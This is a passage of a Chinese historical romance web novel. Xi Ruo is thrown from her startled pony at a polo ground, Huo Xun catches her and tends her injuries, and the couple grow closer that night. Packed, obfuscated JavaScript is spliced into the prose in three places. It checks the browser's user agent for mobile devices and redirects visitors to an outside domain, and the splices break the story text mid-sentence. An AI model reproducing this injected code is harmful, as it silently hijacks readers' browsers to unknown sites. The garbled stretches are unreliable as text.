息偌笑着过去拉他手臂,推着他后背往门外走,口中道:“这几天先忍一忍,等你事情上手了、位置坐稳了,寻个空档告病回家多歇几天,陛下还能不放人吗?” 霍恂回头瞧她道:“你故意的是不是?这可是欺君大罪。” 息偌道:“我哪里欺君了?你多喝一口药都要吐的,谁敢说你没生病?” 眼见着话说得渐渐奇怪起来了,她再推一推他,道:“行了行了,快去忙你的。” 霍恂回书房去换了衣裳,没多停留就去忙了,直到晚上快到饭点时,雁行打发了侍卫回来传话,说是公事有些繁杂,霍恂一时回不来,让息偌自己先吃。 那侍卫说完就要回去,息偌赶紧叫他停下,让厨房立刻打包了一个食盒,连带着些简单的饭食一起,把他的那份甜点藏在下头,一起交给侍卫,让他给霍恂带过去。 息偌看着侍卫领命而去,听见几个侍女在旁边偷笑,这才无奈笑道:“可见话不能乱说。中午才说要给他送饭,下午就让他忙起来,以后再不能说这些了。” 豆蔻这几日陪息偌多了,胆子也大起来,在旁边接话道:“那可不行。娘子若是不去,侯爷要自己生闷气、不开心的。” 几个姑娘家一起说说笑笑着进去了,没再管霍恂这个忙碌的倒霉人。待休沐日过了,息偌在家中留了两三日,与霍恂说了一句,回了一趟息家,又往荔溪坪的别院去玩儿了。 她驾马的技术也就那样,霍恂陪她练成了什么样子,她三天打鱼两天晒网地,也就练成个什么水平,只是瘾够大,好不容易学会了,就一直想去玩儿。 如此这么又过了好几日,荔溪坪那边的大马场开了。名义上是李贵妃攒局开了一场,但各家女眷和年轻郎君过去,又各自玩儿了好几天。 息偌原本就在那边住着,知道有这个热闹,就根本没有回家。彭琰知道她在那里,头一天就央着家里母亲带她过去。 也因此,李贵妃去的那一日,她们在场便不好不去。 息偌心里还是有些惧怕李贵妃,知道她心里对自己有些不痛快,便也根本没上去凑这个热闹。因为如今成了侯夫人的缘故,息偌是单独列座,虽与李贵妃并不太远,却也凑不到近前去,倒是个很不错的观赏之位。 待她前头随众人一同见了礼,球赛也开了,她便去叫彭琰过来坐到了一起。 息偌目光一直望向彭琰那边,看见了她过来时,被一个身着骑装的年轻郎君拦了一道。 彭琰不过说了几句话便拨开了那郎君走了过来,倒是那郎君,往息偌这边瞧了一眼,又看着彭琰的背影许久,这才扭头走了。 就这么一眼,看得息偌颇心虚。 她有些抱歉地望着过来的彭琰道:“我都忘了,你也是快要成婚的人了,我倒这么不长眼,把你叫过来。” 她推了她一把,道:“要不你别坐我这里了,先去找他罢?” 彭琰还没坐下就被推了一把,哪里肯愿意,当即便坐下了,道:“你管他做什么?成了婚还得时时见的,又不缺这一回。倒是你,我都好久没见你了,难得能说话,我才不走呢。” 这些时候,前头是为了成婚,后头是为了躲官眷,彭琰知道她不得空,就没来找过她,今天才有了空问她道:“如何呢?我瞧你这脸色不错,可见日子过得也好。” 息偌道:“你一来就非要说我是不是?” 彭琰笑道:“先前过节,你在家闹脾气,怎么都不肯出去,我以为你藏着怨,高低得同他闹一闹,谁知看你这副样子,可不像是家宅不宁夫妻不睦的样子。” 息偌微赧道:“闹是闹了……也不算是大闹。他是明理之人,与我将话说白,我也不是非要矫情的人。既能如此,自然过得太平些。” 彭琰一看便知道她如今婚后的生活还好,并不是故意撒谎,心里便放下心来,道:“那就好了。原本我还一直担心,为着你长兄和他的关系,他会不会对你不好。” 息偌听这话听得可太多了,道:“人人都说他俩不痛快,我瞧他俩面对面的时候也罢了。成婚时客客气气的不说,几次回息家到了私底下,没有外人在,也没有互相甩脸色。” 她压下声音,有些好奇地打听道:“你也听说了?他们真的在外面闹得不可开交?” 彭琰笑着掩口道:“他俩在官署里碰了面,在场的其他人都要想办法跑呢。” 息偌微讶,问道:“几位长辈也压不住?” 彭琰笑道:“几位长辈腿脚最利索的时候就在那会儿了。” 她们笑着点到即止,又说起别的,看到球场上着蓝衣的那一队,开局便已落了下风。 彭琰微微掩口,让她去看蓝衣那队里扎青色腰带的那个,道:“那个就是郑沁家中给她选定的未婚夫,遮掩着不想声张,其实许多人都知道,他们两个根本相处不来。眼下两家似乎是准备起议婚的事项了,这两人都与家里和彼此闹得不痛快。” 息偌记得今日郑家也来人了,目光不动声色找了找,很快就找到了郑家的席位。郑沁果然坐在那里,穿着一身很是漂亮的骑装,显见得也是要上场的,但此刻却一眼也没看场下。 她微忖道:“郑沁马球打得那么好,今天将她带过来,对面又是头阵,莫不是指着李贵妃在此处,打算成个佳话罢。” 彭琰来回看了一眼,眉头微皱。 场上那郎君,为着开局失利便一直追不上来,此刻脸色也有些难看了,大约是因为家中提前有嘱咐,所以连一场马球的几分胜负也显得格外刺眼。 中场暂停,他在场边休息,拿起巾子来擦汗,一回头正无意间对上了郑沁看过来的目光,于是脸色更沉了三分。 但郑沁的脸色也没好看到哪里去。 她不愿意看场上,但始终还是关心着比分,否则也不会和场上的人目光对视。 这是一场显而易见有所预谋的球赛,但显然事情并没有朝着预想的方向行进。再这么下去,大约谁也不会痛快。 息偌甚至都已经看到,有家仆去对面队伍里,抓着那几位郎君说话了。 但显然,这位作为主人公的年轻郎君肯定是不乐意的,因为他在瞧见对面那番场面以后,当即拿着球杖就走过去了。 彭琰侧过头,往另一边座位上看了一眼,站在栏边的正是方才拦下她的那位。她和他目光对视,又往场下瞥了一眼,盯着他不说话。 对面很快明白了意思,转身往场下走了。 彭琰回过头,拉了拉息偌的袖口,道:“走,咱们出去转一转。” 息偌没犹豫,立刻就起身出去了。 若是平时,郑沁出了大丑,那她们是一定会留下看看热闹的,若是不妨事,火上浇油也未尝不可,但眼下不是那样的时候。 这是一个女子的婚事,这是一个女子后半生却全然交予旁人做主、明知不合适却还硬要强求的时候。 这不是看她出丑的时候。 若是这样的事儿落到她们头上,她们也不会希望在自己最狼狈的时候,还被死对头撞个正着。 她们一齐走了出去,息偌这才问道:“你的马球不是也打得不错吗?是今日上场,还是改日?” 彭琰道:“改日罢。今日有主角了,我可不想也凑上去。既然他今天要上场,那我就等他走了再上场,谁又缺这一场球打了?” 息偌开心道:“那不正好吗?咱们今天也别在这儿坐着了。我前些时候学了骑马,虽然骑不快,但走走是没问题的。咱们俩也出去转一转呀?” 话说到这里,二女一拍即合,立刻便让仆从去准备。彭琰同家人说了一声,先行从马球场退了,跟着息偌一起去了别院中,等息偌将马也牵了出来,二女便一齐在山间驾马漫步起来。 仆从为了不打扰她们说话,都在后头远远跟着。 彭琰瞧她如今骑马也是有模有样了,便笑道:“这也是你家侯爷教会你的本事?他也真是有能耐,多少人没教会你的骑马,竟让他把你教会了。” 息偌洋洋得意,仰着下巴道:“什么叫他的能耐?这分明是我的能耐,才练了没多久,就已经骑得这样好了。” 彭琰问道:“能打球吗?” 息偌理直气壮道:“当然不能,现在就是我的最高水平。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781376|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好朋友之间很坦荡地笑过一番,一边说话一边漫步,直见着走得有些深了,身后的侍从也跟上来提醒她们,她们便决定返回,一路又往马球场的方向过去。 李贵妃来时的仪仗此刻已经不在原处了,她大约是看了这一场,组了这一局,便回宫去了,于是此刻场地里的声浪都更加放肆自由了许多。 之前第一局上场的人已经下来了,说笑着从她们身边经过,让她们不大清晰地听了一耳朵。 蓝衣那队还是赢了,郑沁亲自下场和她那位未婚夫同队,得胜以后两家公开了婚事,李贵妃借势赏了她一对钗作礼,完完整整地结束了这一切。 她们听得唏嘘。 郑沁下场,是因为婚事注定,她总要维护自己的脸面,否则输了让她难看。可是她那位未婚夫显见得也是个心高气傲的人物,未必肯接受郑沁这种“施舍”。 彭琰之所以指使她那未婚夫过去,也是想到这点。她们几个人之间虽然不睦,但那几个郎君关系倒好,帮衬一把倒也说得过去。 但此刻听这么说,大约彭琰那下也没起什么作用。 入马场内围便不好骑马了,息偌与彭琰将马骑到门边,便打算下马步行入内。彭琰下马倒是利索,只是息偌不行,还是得踩下马石,故而就比彭琰晚了一会儿下去。 就是这么一会儿,便出了意外。 郑沁大约也是受够了里面的环境,此刻也让仆从牵了马来,要去外围转一转。她方纵马出来,就看到息偌骑在马上,和彭琰一起说说笑笑的,一点烦恼都没有。 她原本就烦,此刻更是觉得可恨,凭什么她处处过得这么自在,身不由己嫁的夫君和自家是死对头,她却还能这么开怀,一点烦忧都不见? 人与人相比,真是气死人。 她一夹马腹,当即便向着息偌过去。 郑沁心里怀着恨,紧紧抿着唇,也没叫她名字,扬起马鞭便纵马向息偌奔去。 她的速度太快,马鞭又扬得太招摇,息忍原本是站在息偌身边要接她的,当先听到了马蹄声便探头去看,见此情形不好,便抓住息偌急声道:“快下来!” 息偌也瞧见郑沁这样了,没犹豫就将脚从马镫里抽出来,要去踩旁边的石阶下马。 而郑沁已然来到了她的面前。 她看到了息偌因为自己的到来而露出惊慌失措的目光,心里终于扬起十分快意,鞭子甩得十分张扬,几乎要从马眼前方呼啸而过。 她几乎是用着要撞上来的力气冲过来,但是就在挨上她之前,却忽而将缰绳狠狠向后一拉。她座下宝马因此而高高扬起前蹄,发出高声的嘶鸣。 她的马太高了,而息偌骑着的还是一匹小马。 息偌没来得及从马上下来,而郑沁的这一番动作又太过疯狂,立刻就惊吓到了息偌的小马。她的小马立刻嘶叫起来,脚下几个跳跃,甩脱了牵绳的仆从就冲了出去。 事发突然,谁也没抓住她的那一匹马。 小马奔跑的动作不比平时稳定,而息偌彼时已经双脚离开马镫,这一番动作惊得她立刻匍匐在马背上。 可是球场外围,人也并不算少,还有许多车架和摆设,小马跑不了直线,就只能左右跳跃。息偌力气到底不够,虽然紧紧抓着马鞍和小马的鬃毛匍匐不动,可整个人还是被甩得左右摇摆。 息忍当即翻身上马追出去,彭琰也立刻指着家仆去追,而后才转身看向郑沁斥道:“你忽然过来发什么疯!明知道四娘不擅骑马,你还故意惊她的马!” 郑沁坐在马背上,冷眼看着她们,倨傲道:“是吗?我不知道。我看她骑在马上,以为是会骑马的。再说,这怎么能算我的过错,我可是管好了自己的马,没碰着她,也没撞着她。她牵不住马怪谁?” 彭琰见她竟是如此言辞,当即沉下脸来,警告她道:“你最好希望今天息偌没出事,否则息家和清都侯,你看谁能放得过你。” 郑沁丝毫不惧,冷嗤道:“是吗?我倒不相信,他们还会为了女子之间这些小事来找我算账不成?” 今日宣布的不是婚事,是两家结合成为了利益共同体,将来形势不好说了。 息停从前倒敢,如今朝上不是他一家独大了,他还敢吗?至于那位清都侯,他若能辨得清局势,就不会在这种时候和郑家生怨。 她息偌不是仗着娘家和夫家狂吗?还为了南平府上的不快,要借他们来教训郑家。现下她也有娘家和夫家撑腰,怎么就不能试一试让她吃瘪的痛快? 就在此时,远方突然传来一声高喊,隐藏在一片错杂的嘈声里,却听不清是什么。 彭琰立即扭头望去,正看到息偌从马背上摔了下去,身形一瞬间就消失在她的视野里。 38. 安抚 息偌实在是手上没力气,虽然听到了息忍在后面喊着让自己抓紧,但情形还是万分艰难,再加上这小马又跑又跳,没个定数,最后她被甩出去的那一下,实在是有些脱力了。 她离了马背的那个瞬间,下意识便闭上了眼睛。 她以前也是听说过的,有的人坠了马,若是运气不好,被马蹄踩中了,受伤都算好的,丢了命的也有。此地并不算宽阔,那马若是不能径自越过朝前去,踩着她也是必然的。 即便她没被踩到,若是旁边那些被它马蹄弄翻的东西撞到她,受了伤也绝不会是轻的。 她恐惧而徒然地抬起手臂挡在了眼前,可是狠狠坠地的那一下,预想中的剧痛却并没有到来。 她的小腿还是先在地上磕了一下,两边膝盖有些痛,但并不是不能忍受,而她的身体却没有直接坠在地上,而是先撞入了一个有些柔软的地方,被余力带着在地上滚了两圈,这才停了下来。 下一刻,她听到有人有些焦急地问她道:“还好吗?哪里痛吗?” 息偌顿了一下,吓飞的意识才缓缓归于原处,她放下手臂,看到霍恂的脸出现在自己面前。 她躺在泥地里,但也躺在他的怀抱里,他垫在下面,一手抱在她腰上,一手护着她后脑,看见她看向自己,连忙扶她一把,又问一遍道:“哪里痛?” 息忍此刻也到跟前了,先看了一眼息偌,想她方才是卸了力下来的,瞧着应当是没太伤着,便去扶她手臂,要将她扶起来。 息偌是真被吓到了,一下子也站不起来,就着息忍的力气坐到了一边的泥地里,目光又投向霍恂,看到雁行在旁边扶着霍恂慢慢坐起来。 他的动作缓慢多了,她想到方才是他在下面垫着自己,即便是泥地,肯定也是要受伤的,更何况他身子本来就弱。 她含着两汪眼泪看他道:“你是不是又伤到了?” 霍恂坐在她旁边,伸手将她眼泪擦了一下,见到她眼角有了些泥印子,又把手收回来,笑说道:“明明是你摔下来,我不是问你呢吗?” 但息偌已经瞧见了,一把抓住他的手,看见他手背上全是泥土和被小石子划开的血口,眼泪一下就涌了出来,哭道:“我不疼呀,你是不是又伤到了?” 伤是肯定伤到了,但都是皮外伤,肯定是没有伤到骨头。这点疼痛霍恂还受得了,便先撑着地,就着雁行的手站了起来,原地跺了跺脚,而后才又蹲在她面前。 “看到没有?没伤到,只有手上有小口子,很快就好了。” 彭琰这会儿也赶紧过来了,看见息偌浑身都是泥,也是吓了一跳,慌得掉眼泪,一边问她伤在哪儿了,一边又把干净的帕子掏出来给她擦脸上的泥土。 手伸了一半,看有人挡着她,正要去推,回头看到是霍恂,她马上准备骂出来的嘴又闭上了。 霍恂顺势将这张帕子取过来,给息偌将脸上的泥土擦了擦,又问一遍道:“只是吓到了对不对?没有哪里特别疼,对不对?” 他扶着息偌的双肩,她整个人都在他的手下发抖,哭着道:“我腿疼……背也疼,我是不是骨头摔断了?我不敢动,我好疼啊霍恂……” 霍恂那时候救她是度过力的,想她应当不至于摔断骨头,但她这么喊着他名字哭着说疼,他心里还是瞬间发紧。 他向前凑了凑,手从她脊骨处一路顺到尾椎,又伸手去探她双腿,这才确认骨头没事。 他松了一口气,同她温声道:“没摔断,曼曼,骨头都没事的,只是有些皮外伤,我带你回去,好好确认一下伤势再上药,好不好?” 息偌哭着点头。 霍恂伸手就要抱她。 息偌推了他一下,抽泣着道:“你别抱我了,你刚才也摔了,万一你等下没力气咱们两个又得倒霉了!” 嘿,没良心的。 若是为了别的缘故,他就真不抱了,但要是这么个理由,那他就不能同意了。 霍恂没答应,手下用力便将她稳稳地抱了起来,大步往前走去。雁行方才已经让侍从去备车,马车很快就停到了他们面前。 他上车以前,先回头同彭琰道:“我要先带她回家里去看伤,彭娘子家人在此,随车不便,稍后我命人去给彭娘子报平安。” 彭琰知道他家在此处有别院,也没强求,便道:“好,今日也晚了,我回去与家人说一声,明早再过来看望曼曼。” 霍恂点头,而后抱着息偌上了马车。 马车是从息偌先前来时自别院乘过来的,里面的布置自然不必多说。息偌爱干净,知道自己一身泥土,进去时还迟疑了一下,吸着鼻子让霍恂别将她往褥子上放。 霍恂没听,将她放在柔弱的褥子中间,安顿她坐好了,才让外面行动。 息偌趴在他扯过来的靠垫和褥子上,还是觉得身上痛,呜声道:“你方才在外头按我背和腿的时候好疼,真的没有断吗?” 霍恂道:“青紫肯定是少不了的,我手下用了些力,你肯定会有些疼,但骨头断了不至于。” 他见她用怀疑又含着眼泪的眼睛看着她,犹豫了一下,问道:“你让我再看看?” 她耷拉着脸道:“你仔细一点,我听人说,如果骨头断了,不能轻易挪动,你这样把我抱来抱去,又让我这样趴在软垫子上,万一我骨头长坏了可怎么好……” 他得了她的首肯,在她带着哭腔的絮叨声里重新将手放在她颈后,顺着她的椎骨一路又检查了一遍,最后到了尾骨的时候,她突然转过了身。 他以为她痛,以为是伤到了,皱起眉问道:“疼?” 息偌皱着脸没说话。 霍恂正色道:“你让我再按一下,是真的疼?” 息偌看他要动手,立刻道:“不是……这里不疼,你不许检查!” 霍恂这才反应过来她是害羞,心下松了口气,脸上笑起来,故意吓唬她道:“你知道吗?尾骨是很脆弱的一根骨头,有的人觉得自己没磕没碰,忽然觉得它疼,找大夫一看才知是断了。这里又不好养,断了只能在床上趴着,趴到最后,浑身骨头都是疼的……” 息偌伸手打他一下,恼道:“你别吓唬我!” 霍恂道:“我怎么吓唬你了?我是告诉你严重性,你若想求平安,可不能讳疾忌医。” “你算哪门子医?少指着这时候趁人之危占我便宜!” 息偌也知道他没有恶意,又趴了回去,软声道:“我背现在没那么疼了,但是膝盖还是有些疼,你帮我看看膝盖罢?我觉得肯定是破口子了。” 霍恂这下没有再耽搁了。她既然允许了,他便立刻转身坐到她腿边,用身体挡住她的视线,这才将她鞋子脱了,把裙边撩起来。 破是肯定破了,方才在下面,他已经看到了她裙边的血迹。此刻裙摆撩起来,就能看到她已经被划破的裤子。 他回头对她道:“裤子有些破了,我要将裤脚撕开看一眼,介不介意?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍恂让她躺回去,道:“现在没说,但你受了伤,不可能不给他们说的。今晚让大夫来看过,没有大麻烦,明早再去给他们报个平安。” 息偌想了想,道:“要不也别急着明早去了。我阿娘大概是要带着家里几个妹妹来的,也就是这几日,等她来了再说罢?” 霍恂点头说好。 息偌安静了一会儿,又问他道:“真的很快会好吗?你的伤就很久都没好。我要多久才能养好呢?我才刚刚学会骑马。” 霍恂挑眉看她,道:“胆子这么大?还想着去骑马?” 息偌扁嘴道:“其实有点害怕的,可是我好不容易才学会的。” 她看着他问道:“我学骑马是不是有点困难?你还能陪我吗?” 霍恂点头道:“可以。” 他们说着话,马车又回到别院门前。霍恂将息偌一路抱进房中,稳稳地将她放在小榻上,对茯苓和豆蔻快语吩咐,让先准备热水去帮她清洗,再检查身上是否有伤口。 而后他转过头,对着一路跟过来的小盼说了三个字。 “你出来。” 里间,茯苓和豆蔻飞快地帮息偌清洗并检查伤口。霍恂绕出门外,对小盼和跟来的息忍低声道:“什么情况,你们如实同我说。” 39. 大胆 小盼今天也是吓到了,这会儿眼睛红着,声音还带着哭腔,但是话尚能说明白。息忍分明是有些急了,心中愤怒,脸色很是难看。两个人一起,将当时的事一五一十说了一遍。 霍恂点头,先对小盼道:“你进去陪你家娘子罢。” 小盼飞快推门进去了,霍恂方对息忍道:“这事我今日便会修书给息大郎君,你若要传信也可自便。我这里只有一件事叮嘱你,那位郑娘子的事,我们大约都不会在此时插手——” 息忍皱起眉来,立刻露出生疏和恼怒的目光。 霍恂继续道:“我们是秋后算账,但你不用等,想做什么我都当不知道,但你自己放利落,别叫人捏住把柄就是。” 息忍放缓了脸色,对着他行了一礼,转身退了出去。 霍恂这才招呼雁行,去暖阁那边更衣沐浴。 他身上的小伤其实要比息偌更严重些,他虽然会卸力,但是为了护着息偌,难免顾不上自己。关大夫过去替他检查一遍,见没有大事,丢给他几瓶药让雁行帮忙包扎,便袖手离去了。 霍恂动作本就利落,让雁行迅速收拾好,自己又回到主屋去等息偌。 外间此刻并无旁人,只里头隐隐有女子说话的声音传出来,其中一个声音响亮些的,正是小茹。 息偌也不知道这神龙见首不见尾的小茹大夫是从哪里冒出来的,她进了浴室后才将将清洗好,小茹便在外头敲门叫嫂嫂了。 她又给息偌重新确认了一遍,大伤的确没有,小伤却也难免,只是膝盖旁边那道血口深了些,平时走动也许会有些疼,但是好好上药也不会有大碍。 侍女们看小茹上好药,又帮息偌换了件居家的宽大衣裙,这才扶着她慢慢走出来。 小茹一回头,看见息偌自己在慢慢往外挪,眉心压了压,喊道:“小霍!还不来扶一扶你夫人吗?” 息偌原本是觉得没必要,听到小茹这句,赶紧就要拒绝,只是一个“不”字还没出口,霍恂便已经快步走到屏风一侧。 他停在外头,先问她道:“你衣裳穿好了吗?” 息偌正要拒绝,豆蔻在一旁快嘴道:“都是齐整的,侯爷来扶一把娘子罢。” 她挑着眉看息偌,脸上有着故意为之的笑意。 息偌无奈,而霍恂闻声后便迈步走了进来。他先是上下看了一眼她扶着侍女的动作,而后侧身弯下腰去将她打横抱起,动作十分轻缓,还特地避开了她的伤处。 小茹跟在后头,狐疑道:“你们夫妻之间,穿不穿衣裳的,还要特意问一句吗?” 息偌扶着霍恂肩头的手掌一紧,她都忘了,小茹的心思活络得要命。 霍恂面不改色地解释道:“这与夫妻有什么干系?便是夫妻,也要互相尊重,谁乐得衣衫不整的狼狈时候被人瞧见?” 他将她平稳地放在床榻上,极顺手地扯了靠枕放在她身后。小茹瞧见了,笑眯眯站在旁边道:“狼狈叫旁人瞧见是丢人,夫妻之间瞧见就不是了。我看嫂嫂受回伤,你可不就心疼得厉害?” 霍恂看着她,见怪不怪地破罐破摔,道:“有眼力见的人,这个时候就知道应该要出去了。” 小茹才不会做这种有眼力见的人呢,她还想要说什么,被豆蔻和茯苓两人一个对视,一边一个给架了出去。 房间里终于清净了。 霍恂坐在她床榻边,看她微微蜷着腿,想她大概是伤口疼,就又取了个引枕垫在她膝弯下面,好让她舒服搭着。 他问她道:“小茹有止疼的伤药,没给你敷吗?” 息偌道:“敷了,是我自己心理作用,总觉得会扯到伤口,就不大敢动。” 霍恂问道:“正儿八经的大夫是怎么跟你说的?严不严重?能不能养的好?” 息偌反应过来他是在回应自己前面说的那句话,便打了他一下,然后才小声道:“这也不算是正儿八经的大夫。” 霍恂笑道:“那怎么办?叫关大夫来吗?他开的药喝着苦敷着痛,你肯定是受不住的。要不然回息家去?你在家里好好养伤,让人给我也安排个住处。” 息偌有些古怪地看向他,问道:“你要住处做什么?” 霍恂想了一下,话到嘴边转了个弯,道:“我要住息为止旁边,谁让他一天到晚找我麻烦的?我要好好给他也添点麻烦。” 哦,为了这个。 她又踢了他一下。 活该。 她看着霍恂故意的笑,又正色同他道:“息忍肯定是会给息家说这事的,你替我再写一封信报个平安罢?再加一句,就说是我说的,让他们不要担心,也别大惊小怪。” 霍恂应声道:“知道,这事儿我会办的。” 他看着她有些犹豫的脸色,又问道:“怎么了?还有什么吩咐?我一起去办。” 息偌看向他,有些迟疑地试探问道:“你可不可以替我小小地教训郑沁一下?小小的!不要过分!” 霍恂看着她,挑了挑眉,没说话。 息偌靠在大大的引枕上,抱着手臂道:“她今天肯定是故意吓我的,才会出这样的意外,我也不能白白受伤……可是我能理解她今天心情不好,所以,小小的就行。” 她捏了捏手指,给他比划了一个“小小的”尺寸。 霍恂道:“你们姑娘家的恩怨,我掺和进来不好罢?” 息偌的眉眼立刻耷拉了下来。 霍恂忍着笑道:“但她有父亲、有兄弟,眼下还要有夫君、有公爹,这些我都可以挨个替你清算一遍,帮你出气,好不好?” 息偌听见这话,目光定定地看着他,一时间没说话。 霍恂不知道她心里又想歪到哪里去了,干脆直接问道:“想什么呢?” 息偌也就直接地回答他道:“你好像我长兄。” 出了事,也这么替她出气。 霍恂气笑了,嗤道:“谁乐意当你长兄?” 他看着她生气,上手托着她腰将她拉了下来,又扯过被子盖在她身上,一套动作一气呵成。他站起身替她拉好床帐,道:“受伤了就赶紧睡觉,好好养身。” 息偌透过床帐,看到他模糊走开的背影,于是又撑起上半身将床帐拉开一道缝隙,将脸探出去,唤他问道:“你今日还要去暖阁里睡吗?” 她看着他回过头,有些不好意思道:“我嫌那里太挤了,把小榻撤了,换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807260|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成了看书的大书案。你没地方睡了。” 苍天可证,她真不是故意的。只是她习惯了大书案来读书写字,或是做些别的趣事,方便得很。这边房间里没有大书案,她想着这里总不会短了霍恂的住处,再加上霍恂应当短期内也没时间过来,这才把那张小榻撤了的。 但谁知道呢? 更何况今天小茹也在。 霍恂方才去换衣时已经看到了,便道:“我知道,我去收拾一下,等会儿睡窗边那张榻上……你介意?” 其实他们成婚后刚来的时候,就做的是暂居一室的准备。息偌摇头道:“不介意。” 霍恂于是道:“嗯,拉好帐子睡罢。” 他吹熄了外头的灯,只留了很暗的一盏照明,被她床帐遮掩过后,几乎落不到她的眼中。 但她虽然身体觉得疲惫,精神上却还暂时没有困意,就扭过头透过帐子盯着那点光亮,不久之后,他吹熄了那盏灯,躺在了外头那张榻上。 息偌睡不着,看着外头模糊的轮廓,问道:“我中午有时候会窝在那里睡觉,所以换了张大些的榻,还铺了软褥……你睡着还好吗?” 霍恂平躺着回应她道:“好,多谢。” 他知道她是故意换了一张大些的榻在这里,上一次他躺在这里午休的样子,她大概是知道了。 息偌听出来意思了,扯了扯唇角,道:“不是专门为了给你准备的。” 霍恂道:“那也多谢你。” 息偌顿了顿,突然想起什么似的,问道:“你今日歇在这里,明日不用回去吗?我记得今日也不是你的休沐日。” 霍恂道:“陛下差我出去办些事,经过别院,知道你在这里,我就来了。” 息偌心里有些忧虑了,问道:“那你留在这里,难道不误事吗?若是陛下知道了,肯定要怪罪你的。” 霍恂安慰她道:“我本来也就不想出去。再说了,今日不是摔了吗?正好就听你的话,告病在家休息一阵,躲躲清闲。” 息偌听着这话,赶紧“呸呸呸”,道:“这话可不能乱说!你今天接我,是不是也受伤了,我还没问你呢,你给我老实招来。” 霍恂道:“没有。” 息偌不信,干脆坐起来,把床帐拉起来了,要求他道:“你过来!” 霍恂躺在那处笑道:“干什么?自己睡不着和我说话也就算了,还要故意占我便宜?” 息偌笃定道:“你推三阻四,就是被我说中了。” 霍恂在黑暗里叹了一口气,起身走过来,重新坐到她旁边,无奈道:“我要怎么招?还是你亲自来查?” 房间里没有燃灯,一片昏暗,就只有月光微暗而绰约的一点光亮,勾勒出一丁点模糊的轮廓。 霍恂坦坦荡荡地坐在她面前,笃定她这样的胆量,必定什么也不敢做。 息偌果真一时没动。 她坐在原处,心里打鼓,好久才给自己做好了准备。 霍恂在一片安静里等待了半晌,觉得她是偃旗息鼓了,准备结束这个小插曲。只是一句“好了”还没说完,就被她的动作打断。 她的手指触上了他的手臂,慢慢收紧。 40. 难眠 这是她自己的夫君,她对他做什么都可以。 息偌是这么在心里告诉自己的。 她握住了他的手臂,也将他困在了自己面前。她顺着他手臂的位置向上,而后停在了他心口的位置。 他已经安寝了,所以此刻也就只穿了一件单薄的寝衣,隔着寝衣,她能感觉到他包扎的痕迹,但已不如之前那般夸张。 他是真的好多了。 霍恂感觉到她在感受绷带的边缘,便道:“伤口好了,我在用你的药,怕蹭着衣裳,才包纱布的。” 息偌的手指停在那处,嘴里踌躇了半天,借着黑暗说出一句颇大胆的话。 “其实晚上无外人见的话,你将衣服敞着也好,不必非要捂着。” 她说完这句,险些给自己一个耳刮子,脸上疯狂发烫,心里不断质问自己怎么敢说出来的。 她藏在被子里的左手已经尴尬地揪紧了被子,但是放在他心口的右手,却仍是自如的、大胆的、直接的、丝毫不加以任何回避和退让的。 霍恂感觉到了,他知道自己注定要在这场试探里败下阵来了。 只是她却没有允许他的溃逃,手指攥紧了他的衣领,问道:“既然都是带着伤的,还是应当好好休息的,你要不要别睡那张榻了?” 她觉得他也是个不长眼的,她把他暖阁里的小榻都扔了,他这会儿装什么君子无知? 霍恂沉默片刻,问道:“非要今天?” 息偌感觉自己还是有些怯意在的,可是话一出口,只能向前。她道:“外人眼中,也不差这一日两日的。” 霍恂微微侧过头,就着昏昏的月光看她,在许久的安静以后,他忽而道:“息偌,你有时候真是不管不顾的。” 息偌不知该说什么,而他却已起身了。他弓着腰,将她连人带被子一同抱起来一些,往里侧挪了挪,而后直起了身子。 她的手指还勾在他衣襟上,没松手。 他无奈道:“不让我盖被子?我病了算你的。” 息偌脸上发烫,赶紧将手缩了回来。 她看着他走去小榻上取被子的身影,自己坐在里头有些不知所措,干脆又裹紧了被子躺了下来,看着他重新回来,将被子铺好后平躺在了自己旁边。 他侧过头看她,问道:“这下满意了吗,夫人?” 息偌侧躺着,听见这话,将脸往被子里埋了埋,道:“我是好心,被你说的像胁迫一样。” 霍恂笑道:“那就算是我不本分,恶人先告状。” 他闭着眼,安静地不再说话。可是息偌犹豫了半天,却还是睡不着,她不自觉地蜷了蜷腿,却没想到碰到了他。 她赶紧重新伸直。 他却还没睡着,问她道:“这样垫着舒服吗?还是伤口又疼了,睡不着?” 息偌叹了口气,道:“不是腿的问题。我觉得我天生就是个大好人,做不了坏事。” 霍恂饶有兴趣地又睁开眼,侧过头问她道:“说说看,原本盘算着做什么坏事呢?” 息偌这次平躺回去了,把被子往上一拉,自己严严实实地缩进被子里,闷声道:“小茹方才跟我说,可以想想办法给你下点药。” 话音落定,她感觉世界都安静了。 霍恂却是很轻地笑了一下,问道:“你下在哪儿了?” 息偌立即道:“为什么你不问问我有没有这么做!你就觉得我肯定干坏事了是不是!” 霍恂道:“你可躲不过小茹那丫头,要是为了摆脱她,说不定就快快答应了。” 息偌道:“但我没有对你干坏事。” 霍恂想了想,突然道:“她把药藏到小榻上的软枕里了?” 息偌大惊失色,声音都高了些,道:“你发现了?” 